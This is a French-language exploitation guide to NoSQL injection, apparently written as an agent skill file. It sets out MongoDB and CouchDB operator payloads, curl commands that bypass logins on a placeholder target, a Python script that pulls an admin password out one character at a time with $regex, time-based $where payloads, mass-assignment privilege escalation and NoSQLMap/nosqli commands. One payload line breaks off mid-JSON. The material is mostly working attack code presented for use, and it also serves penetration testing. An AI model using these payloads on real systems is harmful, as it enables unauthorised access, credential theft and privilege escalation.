| name | nosql-injection |
| description | Guide complet d'attaques NoSQL Injection — MongoDB, CouchDB, injection JSON/opérateurs, blind NoSQL, payloads et outils |
NoSQL Injection — Guide d'Exploitation Avancé
Références principales
Concepts fondamentaux
Contrairement au SQL, NoSQL utilise des opérateurs de requête au lieu de syntaxe SQL. Les injections exploitent l'interprétation d'opérateurs comme $ne, $regex, $gt, $where dans MongoDB, ou l'injection dans des requêtes JSON.
Mots-clés MongoDB critiques
| Opérateur | Rôle | Exemple |
|---|
$ne | Not equal | {"password": {"$ne": ""}} |
$regex | Regex matching | {"email": {"$regex": "^admin"}} |
$gt | Greater than | {"age": {"$gt": 18}} |
$where | JavaScript expression | {"$where": "this.password.slice(0,1)=='a'"} |
$nin | Not in | {"role": {"$nin": ["user"]}} |
Vecteurs d'attaque
1. Injection JSON via Content-Type: application/json
curl -X POST https://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$ne": ""}}'
curl -X POST https://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$ne": ""}, "password": {"$ne": ""}}'
2. Injection par paramètres URL
Quand les paramètres sont transformés en objets par le framework (Express.js, MongoDB $where).
curl "https://target.com/api/login?username=admin&password[\$ne]="
curl "https://target.com/api/users?search[\$regex]=.*"
3. Injection dans $where (JavaScript)
username=admin&password[$where]=sleep(5000)
username=admin&password[$where]=this.password.length==32
username[$regex]=^a.*&password[$ne]=
Blind NoSQL Injection
Extraction de mot de passe caractère par caractère
import requests
import string
url = "https://target.com/api/login"
chars = string.ascii_lowercase + string.digits
password = ""
for i in range(32):
for c in chars:
payload = {
"username": "admin",
"password": {"$regex": f"^{password}{c}.*"}
}
r = requests.post(url, json=payload)
if r.status_code == 200 or "success" in r.text:
password += c
print(f"[+] Found char {i}: {c} → {password}")
break
Time-based extraction
curl -X POST https://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$where": "sleep(5000)"}}'
Attaques par framework
Express.js + MongoDB (Mongoose)
GET /api/users?search[$gt]=
GET /api/users?search[$ne]=
curl -X PATCH https://target.com/api/user \
-H "Content-Type: application/json" \
-d '{"$set": {"role": "admin"}}'
Parse.com / Rest APIs
PUT /classes/User/objectId
{"isAdmin": true}
CouchDB
POST /db/_find
{"selector": {"$where": "doc.password.slice(0,1) == 'a'"}}
Payloads avancés
Bypass d'authentification
{"username": "admin", "password": {"$ne": ""}}
{"username": {"$ne": ""}, "password": {"$ne": ""}}
{"$or": [{"username": "admin"}, {"password": {"$ne": ""}}]}
{"username": "admin", "password": {"$regex":
Extraction de données
{"username": "admin", "password": {"$regex": "^a"}}
{"username": "admin", "password": {"$regex": ".{32}"}}
{"age": {"$gt": "25"}}
{"registered": {"$gte": "2024-01-01"}}
Opérateurs de projection
{"username": "admin", "password": {"$ne": ""}, "$projection": {"password": 1, "role": 1}}
Outils
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
python2 nosqlmap.py
git clone https://github.com/Charlie-belmer/nosqli.git
cd nosqli
python3 nosqli.py -u "https://target.com/login" -p '{"username":"admin","password":{"$ne":""}}'
Checklist de test
☐ Tester avec Content-Type: application/json + opérateurs $ne/$gt/$regex
☐ Tester injection via paramètres URL ($ne, $regex, $gt)
☐ Tester $where pour JavaScript injection
☐ Tester mass assignment via $set, $push, $inc
☐ Tester blind extraction de mot de passe (boolean + time-based)
☐ Tester regex character-by-character extraction
☐ Vérifier les champs accessibles (projection)
☐ Tester les requêtes de Parse SDK / REST frameworks
Ressources